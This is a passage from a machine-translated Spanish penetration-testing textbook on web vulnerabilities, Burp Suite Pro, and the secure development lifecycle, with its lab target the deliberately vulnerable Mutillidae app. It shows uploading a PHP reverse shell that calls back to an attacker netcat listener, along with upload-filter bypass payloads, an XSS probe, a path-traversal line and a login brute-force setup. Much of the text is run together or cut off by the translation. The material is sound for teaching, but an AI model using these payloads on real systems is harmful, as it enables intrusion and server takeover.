haga clic en el botón, será redirigida a la página del blog con una nueva entrada de blog sorpresa, que se muestra en la Figura 8.33. Figura 8.33 CSRFPoCResultados Carga de archivos Las vulnerabilidades de carga de archivos se aprovechan al poder cargar archivos maliciosos en el servidor web de destino. En la práctica, el objetivo es poder cargar un shell web que pueda ejecutarse en el servidor web de la víctima. Los servidores web admiten más de un lenguaje de programación. SimpleFileUpload En este ejemplo, utilizaremos Mutillidae para cargar un shell web de PHP, con el nivel de seguridad establecido en cero (sin controles de seguridad). En otras palabras, deberíamos poder cargar cualquier tipo de archivos en el servidor web. Para comenzar, navegue hasta la página de carga de archivos en la aplicación web de Mutillidae, que se muestra en la Figura 8.34: http://[Dirección IP]/mutillidae/index.php?page=upload-file.php Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.34 MutillidaeFileUpload En el host del atacante, copie el shell web de PHP que viene preinstalado en Kali: root@kali:~#cp/usr/share/laudanum/php/php-reverse-shell.php/root/Documentos A continuación, edite el archivo y asegúrese de incluir la dirección IP de cuatro hosts Kali y el número de puerto en el que queremos escuchar: $ip='172.16.0.102';//CAMBIA ESTO $puerto=2222;// CAMBIA ESTO Después de guardar el archivo, inicie un oyente usando netcat : root@kali:~/Documentos#nc-nlvp2222 escuchando[cualquiera]2222… En esta etapa, estamos listos para infectar el servidor de destino. Vuelva a la página de carga del archivo Mutillidae e intente cargar el archivo webshell. ¡Genial! A continuación, cambie la URL y apunte al nuevo archivo PHP: http://[Dirección IP]/mutillidae/index.php?page=/tmp/php-reverse shell.php Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.35 Mutillidae–FileUploadResults Una vez que lleguemos a la URL maliciosa, regrese a la ventana del terminal y verá tenemos un caparazón remoto: root@kali:~/Documentos#nc-nlvp2222 escuchando[cualquiera]2222… conectarse a [172.16.0.102] desde (DESCONOCIDO) [172.16.0.107] 57374 Linuxubuntu5.4.0-40-generic#44-UbuntuSMPTueJun2300:01:04UTC2020x86_64x86_64x86_64GNU/ Linux 09:48:20up6days,18:30,1user,loadaverage:0.00,0.00,0.00 TTY USERFROM03Jul20?xdm? INICIAR SESIÓN @ IDLEJCPUPPCPUWHAT :0 :0 48:230.00sgus/usr/lib/gdm3/gdm-x-session--runscriptenvGNOME_SHELL_SESSION_MODE=ubuntu/usr/bin/gnomesession--systemd-sesión=ubuntu uid = 33 (www-datos) gid = 33 (www-datos) grupos = 33 (www-datos) /bin/sh:0: no se puede acceder a tty; control de trabajo desactivado $ por persona / PS OmitiendoValidación Canal de Telegram : @IRFaraExam Machine Translated by Google Inthepreviousexample, wehadzeroprotection, andthePHPreverseshellwas uploadedsuccessfully.Therearemultiplewaystohardenthefileupload, y therearemultipleotherstobypassthisprotection.Inthisexample, youwillsee howtohackaroundthefileextensionprotection.Inthiscase, thedeveloperwill beblockingunwantedextensionstobeuploaded.Forexample, onlyimagesare allowedtobeuploaded.Ifthat'sthecase, allweneedistointercepttherequest inBurpSuite (ver Figure8.36) andmaketheappropriatechanges.Wewilluse thesameuploadpageinMutillidae, butthistime, image.Atthisstage wewilluploadanormal , no queremos que la validación de JavaScript impida cargar nuestro shell. Figura 8.36 Carga de archivo de datos POST A continuación, realizaremos los siguientes cambios en la solicitud web anterior, como se muestra en la Figura 8.37: 1. Cambie el nombre del archivo de photo.png a photo.php.png . 2.Asegúrese de que el tipo de contenido permanezca como image/png . 3. Cambiar el contenido de la imagen a nuestra carga simple de PHP. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 8.37 FileUploadPostDataPayloads FileRename Las aplicaciones verifican el valor de la extensión del archivo para impedir que las personas carguen algo como archivos shell.php . En el ejemplo anterior, dejamos el de validación. final e insertamos el .php antes para que la extensión del método Un servidor web Apache permitirá que se ejecute una extensión doble (por ejemplo, shell.php.png ). En IIS6 (y también en las versiones anteriores), puede agregar este punto y coma antes de la extensión final (por ejemplo, shell.asp;.png ). Puede eludir las reglas que distinguen entre mayúsculas y minúsculas mediante la manipulación de las mayúsculas y minúsculas del carácter de extensión. Estos son algunos ejemplos: Shell.pHP Shell.php3 Shell.ASP Otro truco es agregar bytes nulos (00 en hexadecimal) antes de la extensión final. Por ejemplo, use shell.php%00.png . Canal de Telegram : @IRFaraExam Machine Translated by Google PROPINA Para realizar cambios hexadecimales en sus solicitudes web, puede usar la subpestaña Hexadecimal en la ventana Intercepción en Burp Suite (consulte la Figura 8.38). Figura 8.38 BurpSuite –InterceptHexTab Tipo de contenido El tipo de contenido es otro factor importante al cargar un archivo en un servidor remoto. El desarrollador probablemente podría haber agregado una validación en el front-end/back-end para verificar el tipo de contenido del archivo. Siempre asegúrese de que el tipo de contenido coincida con el tipo de archivo que el servidor espera. Contenido de la carga útil Mire de cerca el comienzo de la carga útil que usamos en nuestro ejemplo (vea la Figura 8.37), que se muestra aquí: GIF89a; <?phpsystem('ls-la');?> Probablemente se esté preguntando: “¿Qué es el GIF89a; ¿para?” Esta es una firma de encabezado que engañará al servidor para que piense que nuestro archivo es una imagen legítima. Pruebe nuestra idea, guarde la carga útil en un archivo de texto, asígnele el nombre payload.txt y verifique su tipo usando el comando de archivo : root@ubuntu:~#filepayload.txtpayload.txt:GIFimagedata,version89a,2619x16188 Codificación En algunas situaciones, encontrará algunos sitios web que tienen algunas protecciones básicas en el backend que bloquearán los caracteres no deseados (para cargas, XSS, inyección de comandos, etc.). Si ese es el caso, intente usar codificación. Canal de Telegram : @IRFaraExam Machine Translated by Google es una forma, luego use la codificación HTML. Para que esto suceda, nuestro amigo Burp Suite viene a otro rescate porque hay una pestaña Decodificador dedicada para este propósito, como se muestra en la Figura 8.39. Figura 8.39 Codificación de BurpSuite OWASPTop10 Hasta ahora, ha visto las vulnerabilidades web más comunes. OpenWeb Application Security Project (OWASP) es una organización sin fines de lucro que se dedica a ayudar a empresas e individuos en los desafíos de seguridad de las aplicaciones. Visite owasp.org. El OWASP ha categorizado las 10 vulnerabilidades web más críticas e importantes y las ha denominado OWASP Top 10. Consulte owasp.org/www project-top-ten/. Tenga en cuenta que esta lista siempre está cambiando, y la organización OWASP está trabajando de cerca con la comunidad para mantenerla actualizada: 1. Inyección. Esto incluye todo tipo de inyecciones. SQLi comandoinyección LDAPinyección inyección HTML Carroretornolíneaalimentacióninyección Y mucho más 2. Autenticación y gestión de sesiones inválidas. En esta categoría, el lo más probable es que el atacante utilice lo siguiente: Omisión de autenticación Canal de Telegram : @IRFaraExam Machine Translated by Google Escalada de privilegios 3. Exposición de datos confidenciales. datos/recursos. 4.Entidades externas XML (XXE). Esta debilidad se aprovecha cuando la aplicación utiliza XML para evaluar las referencias externas. 5. Control de acceso roto. Estas fallas se explotan atacando el debilidad de autorización de un sitio web. 6. Configuración incorrecta de la seguridad. Una configuración incorrecta del sitio web, como dejar el nombre de usuario y la contraseña predeterminados, permitirá que el atacante la aproveche. 7. Crossÿsite scripting. Existen tres tipos principales de XSS. reflejado almacenado DOM (se aprovecha mediante la manipulación del código JavaScript en la página web) 8.Serialización no segura.Esta falla se aprovecha cuando el sitio web implementa deficientemente esta serialización/deserialización dentro de una página web. 9. Uso de componentes con vulnerabilidades conocidas. Esta falla cubre el front-end (p. ej., jQuery) y las bibliotecas de back-end (p. ej., PHPloglibraries). 10.Registroysupervisióninsuficientes. Resumen En este capítulo, aprendió sobre las vulnerabilidades más populares de las aplicaciones web. Puede profundizar en este tema utilizando otros libros dedicados a la seguridad de las aplicaciones. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 9 Pruebas de penetración web y software seguro Ciclo de vida de desarrollo Este tema merece un capítulo por sí mismo debido a su importancia. Hoy en día, la mayoría de las empresas tienen un sitio web o un portal de aplicaciones web que genera ganancias. En este capítulo, aprenderá principalmente sobre la metodología de las pruebas de penetración de aplicaciones web y cómo usar BurpSuite Proedition. En el capítulo anterior, aprendió sobre las vulnerabilidades web más comunes que encontrará en sus compromisos. Lo animo a profundizar en el tema explorando otras referencias (libros de seguridad de aplicaciones, cursos en línea y el sitio web de OWASP) para comprender el resto de las fallas (por ejemplo, falsificación de solicitud del lado del servidor, redirección abierta y mucho más). Este capitulo cubre los siguientes topicos: WebpetestingusandoBurpSuitePro Herramientas de enumeración de aplicaciones web Webaplicaciónmanualpentestchecklist Ciclo de vida de desarrollo de software seguro WebEnumerationandExploitation Burp Suite es una excelente herramienta para tener en su repertorio. Le permite encontrar toneladas de vulnerabilidades de aplicaciones web, y si quiere ser un probador de penetración web/cazador de recompensas de errores, entonces esta herramienta es imprescindible. Esta sección cubre la edición profesional de Burp Suite, que no es gratuita. BurpSuite Pro Para resumir esta herramienta en una sola frase, Burp Suite le permite usar el proxy para interceptar y modificar las solicitudes y respuestas web. Esta herramienta puede analizar vulnerabilidades basadas en aplicaciones web y mucho más (no es solo una herramienta; está fuera). Canal de Telegram : @IRFaraExam Machine Translated by Google NOTA La empresa que creó Burp Suite se llama Port Swigger. Burp Suite viene en tres sabores: Community edition, que está preinstalada en Kali Edición profesional, que admite todas las funciones de prueba manual web y cuesta $ 399 USD por año Edición Enterprise, un escáner automatizado que puede integrarse en la tubería de CI/CD (DevOps) y cuesta $ 3,999 USD por año WebPentestUsandoBurpSuite No hay nada mejor que un ejemplo práctico de prueba de penetración para mostrarle todas las funcionalidades dentro de BurpSuite Pro. En este ejemplo, aprenderá lo siguiente: CómoejecutarBurpSuitePro entenderelproxy Cómousarlapestañaobjetivo entenderelrepetidor Cómo usar el intruso UtilizetheExtenderappstore Carga de BurpSuite Pro Para este ejemplo, usaremos la aplicación web Mutillidae y la escanearemos con Burp. Para iniciar esta herramienta, descargue el archivo JAR para la edición Pro desde su cuenta en portswigger.net/. Para ejecutar la herramienta, use el siguiente comando: $java–jar[nombrearchivoburpsuite.jar] Una vez que haya iniciado Burpha, encontrará dos ventanas que le permitirán hacer lo siguiente: Guardeelproyectoendiscoantesdecomenzar Crearunproyectotemporalsinguardarendisco Canal de Telegram : @IRFaraExam Machine Translated by Google Abrirunproyectoguardadoexistente Cargue un archivo de configuración personalizado guardado de BurpSuite Antes de cambiar a un navegador, haga clic en la pestaña Proxy y haga clic en el botón Intercept Is On para desactivar el interceptor. Tenga en cuenta que Burp seguirá escuchando las solicitudes/respuestas web en el backend. En su navegador web, asegúrese de cambiar los siguientes elementos: 1. Cambie la configuración del navegador y establezca el proxy en el puerto 8080 (explicamos cómo hacerlo en el Capítulo 6, “Fase de enumeración avanzada”). 2. Asegúrese de que el navegador contenga el certificado HTTPS de BurpSuite. Debe confiar en este certificado para interceptar la comunicación HTTPS. Figura 9.1 Certificado de BurpSuite Una vez que haya descargado el certificado, abra su navegador y seleccione PreferenciasÿPrivacidad y seguridadÿCertificadosÿVer certificadosÿImportar. Cuando haga clic en Importar, le pedirá que elija el archivo de certificado (que se encuentra en su carpeta de Descargas). A continuación, asegúrese de seleccionar las dos casillas de verificación (consulte la Figura 9.2) para confiar en el certificado de CA cargado; Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.2 Importación del certificado de BurpSuite Burp Proxy Cuando inicie Burp Suite, tenga en cuenta lo siguiente: El botón de intercepción está seleccionado de forma predeterminada, por lo que deberá desactivarlo a menos que desee detener todas las solicitudes/respuestas al servidor web. En la sección Opciones (consulte la Figura 9.3), normalmente cambiará tres configuraciones. Cambio del número de puerto de escucha (de forma predeterminada, es 8080) Interceptar las solicitudes web (está habilitado de manera predeterminada) Interceptar las respuestas web que regresan del servidor (de manera predeterminada, está deshabilitado) Figura 9.3 Ficha Proxy de BurpSuite , sección Opciones Pestaña Destino Ahora es el momento de comenzar a explorar todas las páginas web en la aplicación Mutillidae mientras el botón de intercepción está desactivado. Una vez que termine, haga clic en la pestaña Destino para visualizar el nombre de dominio que está intentando probar. En la subpestaña Mapa del sitio, puede ver que Burp Suite ha detectado la estructura de Mutillidae (consulte la Figura 9.4). Enestasecciónpuedesvisualizarestesitio Canal de Telegram : @IRFaraExam Machine Translated by Google elementos: páginas HTML, imágenes, carpetas, JavaScript, etc. A continuación, en el lado izquierdo, puede seleccionar las entradas del historial para leer los detalles de la solicitud/respuesta debajo (en las ventanas donde ve las pestañas Solicitud y Respuesta). Figura 9.4 Objetivo de BurpSuite En esta etapa, configure Burp Suite para incluir Mutillidae en el alcance; en otras palabras, no desea que TIT escanee los otros dominios detectados previamente . y luego haga clic en el elemento de menú AddToScope (vea la Figura 9.5). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.5 BurpSuiteAddToScopeOption A continuación, haga clic en el botón de filtro (donde está el texto "Filtro: Ocultar elementos no encontrados...") y seleccione la casilla de verificación Mostrar solo elementos dentro del alcance (consulte la Figura 9.6). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.6 BurpSuiteIn ÿScopeFilter Para ocultar esta pantalla, simplemente haga clic en cualquier lugar fuera de ella y verá que todos los elementos fuera del alcance desaparecen (consulte la Figura 9.7) de la pestaña Mapa del sitio (solo permanecerán Mutillidae). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.7 BurpSuiteIn ÿScopeFilterApplied Enumeración de los elementos del sitio (Spidering/ContentsDiscovery) Antes de comenzar esta sección, debe saber que Burp Suite necesita mucha memoria para ejecutarse, o de lo contrario terminará con errores de tiempo de ejecución en medio de su participación. En esta etapa, BurpSuite ya ha encontrado algunos elementos durante nuestra exploración manual (están atenuados). A continuación, ejecute Descubrir contenido para buscar más elementos. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.8 BurpSuiteDiscoverContentMenuItem Una vez abierta la ventana de descubrimiento de contenido, haga clic en la pestaña Configuración para agregar las configuraciones adecuadas. En esta sección, establezca la profundidad máxima de los subdirectorios en 2 para finalizar la tarea más rápido. Profundidad máxima: 5 Número de subprocesos de descubrimiento: 4 Número de hilos de araña: 4 A continuación, seleccione la ficha Control y haga clic en La sesión no se está ejecutando para ejecutar Burp Suite (consulte la Figura 9.9). Esta tarea tardará algunas horas en completarse (según la estructura del sitio web). Cuando ya no haya más tareas en cola, haga clic en el botón Sesión en ejecución para detener el rastreo y volver a la pestaña Mapa del sitio para inspeccionar los resultados. Canal de Telegram : @IRFaraExam Machine Translated by Google Escaneo automatizado de vulnerabilidades Ahora es el momento de comenzar a encontrar algunas vulnerabilidades en Mutillidae.BurpSuitePro tiene un escáner interno que puede encontrar fallas . Figura 9.9 BurpSuiteEjecuciónDiscoverContentFeature Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.10 BurpSuiteActiveScan La pestaña Repetidor Esta pestaña es útil cuando desea inyectar manualmente una carga útil antes de enviarla a un servidor web. La carga útil puede ser cualquier tipo de entrada que elija, por lo que puede intentar verificar cómo responderá el servidor web. Figura 9.11 BurpSuiteSendToRepeaterMenuItem Una vez que la solicitud esté en la pestaña Repetidor, puede manipularla de la forma que desee. En este ejemplo, cambiaremos el valor de UID a 1 en el encabezado de la cookie y observaremos la respuesta. Canal de Telegram : @IRFaraExam Machine Translated by Google indique que ha iniciado sesión como administrador (consulte la figura 9.12). Figura 9.12 Cambio del parámetro UID La pestaña del intruso LapestañaIntrusolepermitefuzzearyautomatizarlassolicitudeswebenviadasalservidorweb.Haymuchastareasquepuederealizarcone Enumeración de nombres de usuario Enumeración de cualquier tipo de UID (por ejemplo, ID de cuenta, ID de producto, ID de empleado, etc.) Rastreo manual (para encontrar páginas web, directorios, archivos, etc.) Fuzzing para encontrar fallas (por ejemplo, SQLi, XSS, LFI, etc.) Ahora que sabe lo que puede hacer con la pestaña Intruso, el próximo desafío es comprender los tipos de ataque: Francotirador: este tipo de ataque se usa con una carga útil. Hay muchos ejemplos prácticos que se pueden usar con el método de francotirador (por ejemplo, enumerar nombres de usuario, UID, buscar archivos/directorios, etc.). Ariete : este tipo de ataque le permitirá usar una carga útil. En el tipo de ariete, puede insertar la misma carga útil en varias áreas de la solicitud web (por ejemplo, insertar la misma carga útil en la URL y el encabezado de la solicitud web también). Bomba de racimo: este tipo le permitirá insertar varias bombas no relacionadas Canal de Telegram : @IRFaraExam Machine Translated by Google cargas útiles en la solicitud web (máximo 20). Un buen ejemplo es la fuerza bruta de la página de inicio de sesión; en este escenario, deberá insertar dos cargas útiles diferentes: una para el nombre de usuario y otra para la contraseña. Pitchfork: Este le permitirá insertar varias cargas útiles relacionadas en la solicitud web (rara vez he usado este tipo de ataque). Un ejemplo práctico es confundir el nombre del empleado y su interfaz de usuario asociada en otro campo. Veamos, juntos, un ejemplo práctico para aplicar fuerza bruta a la página de inicio de sesión de Mutillidae mediante la pestaña Intruso de BurpSuite . menú. En la pestaña Intruso, asegúrese de que la sub pestaña Posiciones esté seleccionada (consulte la Figura 9.13). Figura 9.13 Subpestaña BurpSuiteIntruderPositions Pordefecto, thesniperattacktypeisselected, andBurpSuitealreadyidentified theinsertionpoints.Forthisexample, bruta forcetheadminusername (estática) andloadthepasswordfromadictionaryfile (variablepayload) .Inotherwords, youwillneedonlyonepayload, whichisthepasswordvalue.Next, choosethe Sniperattacktype (keepitbecauseit'salreadyselected) andclickClearto removealltheinsertionpoints.Toselectyourpayload, resalte la password123valueandclickAddtoinsertyourvariable (ver Figure9.14). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.14 BurpSuiteIntruderPayload En esta etapa, haga clic en la pestaña Cargas útiles y mantenga el tipo de carga útil como Lista simple. A continuación, haga clic en el menú desplegable Agregar de la lista y elija Contraseñas. Puede comenzar con este, pero para este ejemplo, usaremos un archivo de diccionario personalizado haciendo clic en Cargar (consulte la Figura 9.15). Una vez cargadas las contraseñas, haga clic en el botón Iniciar ataque ubicado en la esquina superior derecha. Cuando se inicie el ataque, se abrirá una nueva ventana para mostrar el progreso de las contraseñas probadas . Burp Extender Esta pestaña le permitirá agregar más herramientas y funcionalidades a Burp Suite. Para algunas de ellas, debe tener la versión Pro. Por ejemplo, uno de los módulos que puede agregar es Retire.js , que busca bibliotecas de JavaScript obsoletas. Hay una herramienta para cada ocasión: .NET, Java, JavaScript, JSON, XSS y CSRF, por nombrar algunas. Antes de utilizar BAppStore, deberá descargar la versión más reciente del archivo JAR de Jython desde www.jython.org/download.html. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.15 BurpSuiteIntruderPayloadOption Algunas aplicaciones deben tener Jython, que es una biblioteca combinada de Python y Java. Una vez que descargue el archivo JAR de Jython, diríjase a la pestaña Extensor, seleccione la subpestaña Opciones y localice la ruta donde guardó el archivo JAR (consulte la Figura 9.17; su ruta puede ser diferente ). Canal de Telegram : @IRFaraExam Machine Translated by Google Para instalar una herramienta Burp, deberá seleccionar la pestaña B App Store. En esta ventana, verá todas las aplicaciones disponibles para elegir. La pregunta más importante es cómo elegir una aplicación de la lista. Elijo la aplicación según los siguientes criterios: Dañandodecuatroestrellasoarriba Tiene una puntuación de popularidad alta Las funcionalidades de la herramienta de la aplicación ayudarán durante una prueba Su criterio podría ser diferente. Figura 9.16 BurpSuiteIntruderAttack Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.17 Pestaña BurpSuiteExtender Figura 9.18 BAppStore Canal de Telegram : @IRFaraExam Machine Translated by Google Creación de un informe en eructo Una vez que haya terminado su prueba en Burp, asegúrese de guardar su trabajo y exportar un informe de las fallas encontradas . Figura 9.19 Creación de informes en BurpSuite Una vez que haga clic en el elemento del menú, aparecerá una nueva ventana emergente. Canal de Telegram : @IRFaraExam Machine Translated by Google tendrá que seguir los pasos del asistente. Una vez que haya terminado, Burp generará un informe HTML atractivo (vea la Figura 9.20). Figura 9.20 Muestra de informe en BurpSuite Burp clasifica la gravedad de la falla en Alta, Media, Baja e Información. Lo bueno de esta herramienta es que le brinda el nivel de confianza (probabilidad de falso positivo) de cada uno. En esta etapa, su rol es probar cada vulnerabilidad y asegurarse de no informar un falso positivo. MásEnumeración Cuando se trata de una aplicación web, la fase de enumeración es un poco diferente a la de otros protocolos TCP. En esta sección, obtendrá un resumen de las herramientas que puede usar para enumerar una aplicación web. Canal de Telegram : @IRFaraExam Machine Translated by Google lograr las siguientes tareas: Rastrear (una segunda vez) los archivos en el servidor web Identifique si la versión del servidor web es antigua y tiene una vulnerabilidad crítica Detecte cualquier configuración faltante que pueda conducirlo a recursos Nmap Es una buena idea comenzar con Nmap cuando se trata de la enumeración. Podemos usar el motor de secuencias de comandos que usamos anteriormente en este libro: $nmap-sV-p80-sC[dirección IP] gateando El rastreo es un paso importante para identificar contenido oculto dentro del servidor web. Las personas a menudo implementan los archivos de configuración y los secretos necesarios en el entorno de producción. Una excelente herramienta para este propósito se llama GoBuster (puede usar esta herramienta junto con Burp Crawler para verificar dos veces si se perdió algún punto oculto): root@kali:~#gobusterdir-uhttp://172.16.0.107/mutillidae/-w/usr/share/wordlists/dirbuster/directorylist-2.3-medium.txt-e-t25 ================================================== ============= Gobusterv3.0.1 […] ================================================== ===== 2020/08/1208:04:37Comenzandogobuster ================================================== ===== http://172.16.0.107/mutillidae/documentation(Estado:301) http://172.16.0.107/mutillidae/ ajax(Estado:301) http://172.16.0.107/mutillidae/test(Estado:301) http: //172.16.0.107/ mutillidae/includes(Estado:301) http://172.16.0.107/mutillidae/javascript(Estado:301) http:// 172.16.0.107/mutillidae/classes(Estado:301) http:// 172.16.0.107/mutillidae/styles(Estado:301) http://172.16.0.107/mutillidae/webservices(Estado:301) http://172.16.0.107/mutillidae/ images(Estado:301) http://172.16. 0.107/mutillidae/contraseñas(Estado:301) http:// 172.16.0.107/mutillidae/configuration(Estado:301) http://172.16.0.107/mutillidae/ phpmyadmin(Estado:301) ================================================== ====== Canal de Telegram : @IRFaraExam Machine Translated by Google 2020/08/1208:04:51Terminado Tenga en cuenta que GoBuster no está instalado de forma predeterminada en KaliLinux. necesitará ejecutar el comando apt : $aptinstallgobuster-y Evaluación de vulnerabilidad Para encontrar vulnerabilidades en el middleware (servidor web), necesitará una escáner de vulnerabilidades . En el capítulo 7, “Fase de explotación” , aprendió cómo useOpenVASparabuscarvulnerabilidades.Enestasección,obtendrá otra herramienta rápida que puede buscar fallas en la aplicación web, y se llama Nadie: raíz @ kali: ~ # nikto-hosthttp: //172.16.0.107/mutillidae/ -Niktov2.1.6 -------------------------------------------------- ----------------- -------- + IP de destino: 172.16.0.107 + Nombre de host de destino: 172.16.0.107 +Puerto de destino: +Hora de inicio: 80 2020-08-1208:15:56(GMT-4) -------------------------------------------------- ----------------- -------+Servidor:Apache/2.4.41(Ubuntu) +CookiePHPSESSIDcreadasinlabanderahttponly +Cookieshowhintscreatedwiththehttponlyflag + El encabezado X-Frame-Options anti-clickjacking no está presente. El encabezado +X-XSS-Protection se ha configurado para deshabilitar la protección XSS. Es poco probable que haya una buena razón para esto. +Encabezado poco común 'usuario conectado' encontrado, con contenido: + El encabezado X-Content-Type-Options no está configurado. + No se encontraron directorios CGI (use '-Call' para forzar la verificación de todos los directorios posibles) +"robots.txt"contiene8entradasquedebenversemanualmente. +OSVDB-630: El servidor web puede revelar su IP interna o real en el encabezado de ubicación a través de una solicitud a/images over HTTP/1.0. El valor es "127.0.1.1". + Métodos HTTP permitidos: GET, POST, OPTIONS, HEAD + El servidor web devuelve una respuesta válida con métodos HTTP no deseados, esto puede causar falsos positivos. +DEBUGHTTPverbmayshowserververdebugginginformation.Seehttp://msdn.microsoft.com/ en-us/library/e8z01xdh%28VS.80%29.aspx Canal de Telegram : @IRFaraExam Machine Translated by Google para detalles. +/ mutillidae/index.php? page=../../../../../../../../../../etc/passwd: El complemento PHP-NukeRocket es vulnerable al cruce de archivos, lo que permite a un atacante ver cualquier archivo en el host (probablemente Rocket, pero podría ser cualquier index.php ) […] ManualWebPenetrationTestingChecklist En su inspección manual, encontrará muchas tareas repetitivas para cada página web. Algunas páginas especiales (p. ej., página de inicio de sesión, página de registro, etc.) tienen verificaciones adicionales. Dividamos esta lista de verificación en dos partes, una para los escenarios comunes y otra para los excepcionales. acceso. Lista de verificación común Aplicarás esta lista a cualquier tipo de página web (incluso las excepcionales). Comencemos: 1. Detenga cada solicitud web en su pestaña Proxy Intercept y envíela a la pestaña repetidora para su inspección. 2. Identifique los puntos de entrada al servidor back-end, como se muestra aquí: URL (buscar cadena de consulta) Encabezado de solicitud (inspeccionar la cookie, etc.) 3. Inyecte caracteres especiales en los puntos de entrada e inspeccione la respuesta web (puede usar el repetidor de Burp en un intruso para hacer el trabajo). Además, lea el mensaje de error para ver si muestra información jugosa. Para SQLi : Insertar una sola comilla Para XSS: Trytoinsertascripttag<script>alert(1)</script> 4. Manipular el comportamiento de la página web (p. ej., introducir un número negativo en el campo del carrito de la compra, etc.). 5.UseBurpTarget/Sitemapparaubicarlo: Archivos ocultos (p. ej., Robots.txt, archivos de copia de seguridad, archivos de texto/PDF, restos de depuración, portal de administración) Canal de Telegram : @IRFaraExam Machine Translated by Google Objetivos de alcance no identificados Llamadas WebAPI/SOAP Plataforma CMS (por ejemplo, WordPress) 6. Inspeccione la lógica HTML para encontrar cualquier falla de JavaScript/HTML. 7. Intente llamar a los recursos de administración mediante una cuenta con privilegios bajos. 8. Intente llamar a otros recursos de usuario (p. ej., una imagen de otro usuario). 9. Intente llamar a un recurso protegido sin autenticación. 10. Utilice la pestaña Intruso para cualquier tipo de entrada difusa (p. ej., UID). Lista de comprobación de páginas especiales En algunas páginas, deberá ejecutar pruebas adicionales a las enumeradas anteriormente. La naturaleza de estas páginas es diferente; por lo tanto, necesitamos pruebas adicionales. Cargar página Cuando encuentre una página cargada, debe probar estos elementos: Asegúrese de enviar la solicitud web a la pestaña Repetidor Burp. ¿Puede omitir la validación (consulte el capítulo anterior para obtener más información)? Cambielaextensióndelarchivo. Cambieeltipodecontenido. Cambieelcontenidobinario. Página de inicio de sesión La página de inicio de sesión, si se pasa por alto, permitirá acceder a recursos sin restricciones. Veamos cómo podemos probarlo: Pruebe las credenciales predeterminadas (por ejemplo, nombre de usuario = admin y contraseña = admin). Fuerza bruta. Use la inyección SQL para omitir la página de inicio de sesión. ¿Puede enumerar los nombres de usuario iniciando sesión con un usuario no registrado? Registro de usuario Canal de Telegram : @IRFaraExam Machine Translated by Google El registro de un usuario le permitirá iniciar sesión en el portal y explorar lo que hay dentro. Regístrese con un usuario existente y verifique el mensaje de error (esto le permitirá enumerar usuarios). Regístrese con una contraseña débil. Prueba de inyección SQL (recuerde que este formulario es para crear un nuevo registro de usuario en la base de datos). Restablecer/cambiar contraseña Aquí hay otra forma interesante que interactúa con los registros del usuario en el back-end . Verifique los siguientes elementos manualmente: Intente restablecer el usuario existente para comprender el flujo de trabajo de la contraseña Reiniciar. ¿Puedes cambiar la contraseña de otra persona? Si el sistema genera una contraseña temporal aleatoria, verifique lo siguiente: La complejidad de la contraseña. Su tiempo de vida (timeoutexpiry). ¿Está obligado el usuario a cambiarlo después del primer inicio de sesión? Ciclo de vida de desarrollo de software seguro Cada aplicación web/móvil pasa por diferentes fases antes de implementarse en el entorno de producción. Este es un tema importante en la seguridad de las aplicaciones y las pruebas de penetración al mismo tiempo. La Figura 9.21 muestra los pasos por los que pasa un proyecto típico en cada fase de un ciclo de vida de desarrollo de software (SDLC). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.21 Ciclo de vida de desarrollo de software En esta sección, obtendrá información sobre los roles y deberes del análisis de seguridad en cada fase de SDL. El propósito de este proceso es convertirlo en un ciclo de vida de desarrollo de software seguro (SSDL) . Figura 9.22 Ciclo de vida de desarrollo seguro Análisis / ArchitecturePhase Atthisstage, theprojectisstillfresh, andeveryoneislayingoutthefoundation ofthebusinesscases.Asasecurityprofessional, youwillbeattendingkick fuera de meetingstounderstandandprovidethenecessaryadvice (miembros theprojectteam) inadvancebeforedevelopingtheproduct.Thisiswhereyoustart planningforlatertestsandprepareaheadforimplementingthesecuritytoolsin laterstages.Speakingaboutplanning, itwouldbegoodtoprepareasecurity architecturedocument (por ejemplo, threatmodeling) aheadoftime (seethenextsection forhowtoprepareanapplicationthreatmodelingdocument). Modelado de amenazas de aplicaciones Canal de Telegram : @IRFaraExam Machine Translated by Google El modelado de amenazas de aplicaciones le permitirá analizar la postura de una aplicación y le ayudará a diseñar los escenarios de ataque antes de comenzar con las pruebas de seguridad más adelante en el proyecto. Un documento de modelado de amenazas de aplicaciones contendrá principalmente las siguientes secciones: Activos Puntos de entrada Terceros niveles de confianza Diagrama de flujo de datos (DFD) Antes de continuar con las próximas secciones, tendrá que hacerse las siguientes preguntas (para evaluar correctamente el proyecto): ¿La aplicación es visible para Internet o solo para la intranet? ¿La aplicación almacena datos confidenciales (p. ej., información de identificación personal, también conocida como PII)? ¿Cómo se consume la aplicación (p. ej., sólo una aplicación web?)? ¿Existen entidades de terceros (p. ej., servicios en la nube o proveedores externos)? ¿Cuenta con el diagrama de infraestructura? (Si no lo tiene, solicítelo) Activos Los activos son los elementos que los atacantes (hackers) buscan robar. El ejemplo más obvio son los datos confidenciales, como tarjetas de crédito, números de seguros, información personal del cliente, etc. (PII). Dispositivos de red Servidores de alojamiento software intermedio Nivel de aplicación (web/móvil) Puntos de entrada Canal de Telegram : @IRFaraExam Machine Translated by Google Como dice el nombre, los puntos de entrada son las vías de entrada desde las que un atacante puede interactuar con un conjunto. Recuerde que un conjunto no es solo la aplicación web, sino que también puede ser una base de datos o el propio host (o máquinas virtuales/contenedores, etc.). Terceros En esta sección, enumera los elementos de terceros con los que la aplicación interactuará. Un ejemplo común es la nube, como Microsoft Azure o Amazon Web Services (AWS), etc. niveles de confianza Después de identificar todos los componentes de los activos, incluidos los elementos de terceros, debe revisar la autenticación/autorización de cada uno de ellos. Diagrama de flujo de datos El diagrama de red mostrará, visualmente, todo lo que ha recopilado hasta ahora. Por ejemplo (consulte el diagrama de red en la Figura 9.23), nuestra empresa tiene un sitio web y una aplicación móvil. Puede simplificar el diagrama de red anterior utilizando un diagrama de flujo de datos (DFD) para 